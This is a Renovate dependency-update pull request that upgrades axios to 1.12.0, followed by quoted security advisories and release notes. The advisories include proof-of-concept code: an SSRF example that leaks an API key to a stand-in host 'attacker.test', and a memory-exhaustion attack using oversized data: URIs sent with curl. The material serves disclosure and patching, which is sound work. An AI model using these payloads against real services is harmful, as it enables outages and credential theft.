Update dependency axios to v1.12.0 [SECURITY]

[renovate]

Note

Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to mend[bot].

This notice will be removed on 2025-10-07.

---

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	1.4.0 -> 1.12.0

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2024-39338

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

---

Release Notes

axios/axios (axios)

v1.12.0

Compare Source

Bug Fixes

• adding build artifacts (9ec86de)
• dont add dist on release (a2edc36)
• fetch-adapter: set correct Content-Type for Node FormData (#​6998) (a9f47af)
• node: enforce maxContentLength for data: URLs (#​7011) (945435f)
• package exports (#​5627) (aa78ac2)
• params: removing '[' and ']' from URL encode exclude characters (#​3316) (#​5715) (6d84189)
• release pr run (fd7f404)
• types: change the type guard on isCancel (#​5595) (0dbb7fd)

Features

• adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
• fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
• support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
• types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)

Contributors to this release

• Willian Agostini
• Dmitriy Mozgovoy
• khani
• Ameer Assadi
• Emiedonmokumo Dick-Boro
• Zeroday BYTE
• Jason Saayman
• 최예찬
• Gligor Kotushevski
• Aleksandar Dimitrov

v1.11.0

Compare Source

Bug Fixes

• form-data npm pakcage (#​6970) (e72c193)
• prevent RangeError when using large Buffers (#​6961) (a2214ca)
• types: resolve type discrepancies between ESM and CJS TypeScript declaration files (#​6956) (8517aa1)

Contributors to this release

• izzy goldman
• Manish Sahani
• Noritaka Kobayashi
• James Nail
• Tejaswi1305

v1.10.0

Compare Source

Bug Fixes

• adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
• form-data: convert boolean values to strings in FormData serialization (#​6917) (5064b10)
• package: add module entry point for React Native; (#​6933) (3d343b8)

Features

• types: improved fetchOptions interface (#​6867) (63f1fce)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi
• Dimitrios Lazanas
• Adrian Knapp
• Howie Zhao
• Uhyeon Park
• Sampo Silvennoinen

v1.9.0

Compare Source

Bug Fixes

• core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
• fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
• headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
• headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
• headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
• http: send minimal end multipart boundary (#​6661) (987d2e2)
• types: fix autocomplete for adapter config (#​6855) (e61a893)

Features

• AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)

Contributors to this release

• Dmitriy Mozgovoy
• Jay
• Willian Agostini
• George Cheng
• FatahChan
• Ionuț G. Stan

1.8.4 (2025-03-19)

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

1.8.3 (2025-03-10)

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

1.8.2 (2025-03-07)

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

1.8.1 (2025-02-26)

Bug Fixes

• utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)

Contributors to this release

• Dmitriy Mozgovoy

v1.8.4

Compare Source

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

v1.8.3

Compare Source

Bug Fixes

• core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
• fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
• headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
• headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
• headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
• http: send minimal end multipart boundary (#​6661) (987d2e2)
• types: fix autocomplete for adapter config (#​6855) (e61a893)

Features

• AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)

Contributors to this release

• Dmitriy Mozgovoy
• Jay
• Willian Agostini
• George Cheng
• FatahChan
• Ionuț G. Stan

1.8.4 (2025-03-19)

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

1.8.3 (2025-03-10)

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

1.8.2 (2025-03-07)

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

1.8.1 (2025-02-26)

Bug Fixes

• utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)

Contributors to this release

• Dmitriy Mozgovoy

v1.8.2

Compare Source

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

v1.8.1

Compare Source

Bug Fixes

• core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
• fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
• headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
• headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
• headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
• http: send minimal end multipart boundary (#​6661) (987d2e2)
• types: fix autocomplete for adapter config (#​6855) (e61a893)

Features

• AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)

Contributors to this release

• Dmitriy Mozgovoy
• Jay
• Willian Agostini
• George Cheng
• FatahChan
• Ionuț G. Stan

1.8.4 (2025-03-19)

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

1.8.3 (2025-03-10)

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

1.8.2 (2025-03-07)

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

1.8.1 (2025-02-26)

Bug Fixes

• utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)

Contributors to this release

• Dmitriy Mozgovoy

v1.8.0

Compare Source

Bug Fixes

• examples: application crashed when navigating examples in browser (#​5938) (1260ded)
• missing word in SUPPORT_QUESTION.yml (#​6757) (1f890b1)
• utils: replace getRandomValues with crypto module (#​6788) (23a25af)

Features

• Add config for ignoring absolute URLs (#​5902) (#​6192) (32c7bcc)

Reverts

• Revert "chore: expose fromDataToStream to be consumable (#​6731)" (#​6732) (1317261), closes #​6731 #​6732

BREAKING CHANGES

• code relying on the above will now combine the URLs instead of prefer request URL

• feat: add config option for allowing absolute URLs

• fix: add default value for allowAbsoluteUrls in buildFullPath

• fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

• Michael Toscano
• Willian Agostini
• Naron
• shravan || श्रvan
• Justin Dhillon
• yionr
• Shin'ya Ueoka
• Dan Dascalescu
• Nitin Ramnani
• Shay Molcho
• Jay
• fancy45daddy
• Habip Akyol
• Bailey Lissington
• Bernardo da Eira Duarte
• Shivam Batham
• Lipin Kariappa

1.7.9 (2024-12-04)

Reverts

• Revert "fix(types): export CJS types from ESM (#​6218)" (#​6729) (c44d2f2), closes #​6218 #​6729

Contributors to this release

• Jay

1.7.8 (2024-11-25)

Bug Fixes

• allow passing a callback as paramsSerializer to buildURL (#​6680) (eac4619)
• core: fixed config merging bug (#​6668) (5d99fe4)
• fixed width form to not shrink after 'Send Request' button is clicked (#​6644) (7ccd5fd)
• http: add support for File objects as payload in http adapter (#​6588) (#​6605) (6841d8d)
• http: fixed proxy-from-env module import (#​5222) (12b3295)
• http: use globalThis.TextEncoder when available (#​6634) (df956d1)
• ios11 breaks when build (#​6608) (7638952)
• types: add missing types for mergeConfig function (#​6590) (00de614)
• types: export CJS types from ESM (#​6218) (c71811b)
• updated stream aborted error message to be more clear (#​6615) (cc3217a)
• use URL API instead of DOM to fix a potential vulnerability warning; (#​6714) (0a8d6e1)

Contributors to this release

• Remco Haszing
• Jay
• Aayush Yadav
• Dmitriy Mozgovoy
• Ell Bradshaw
• Amit Saini
• Tommaso Paulon
• Akki
• Sampo Silvennoinen
• Kasper Isager Dalsgarð
• Christian Clauss
• Pavan Welihinda
• Taylor Flatt
• Kenzo Wada
• Ngole Lawson
• Haven
• Shrivali Dutt
• Henco Appel

1.7.7 (2024-08-31)

Bug Fixes

• fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
• http: fixed support for IPv6 literal strings in url (#​5731) (364993f)

Contributors to this release

• Rishi556
• Dmitriy Mozgovoy

1.7.6 (2024-08-30)

Bug Fixes

• fetch: fix content length calculation for FormData payload; (#​6524) (085f568)
• fetch: optimize signals composing logic; (#​6582) (df9889b)

Contributors to this release

• Dmitriy Mozgovoy
• Jacques Germishuys
• kuroino721

1.7.5 (2024-08-23)

Bug Fixes

• adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
• core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
• core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) ([fed1a4b](https://redirect.github.com/axios/axios/commit

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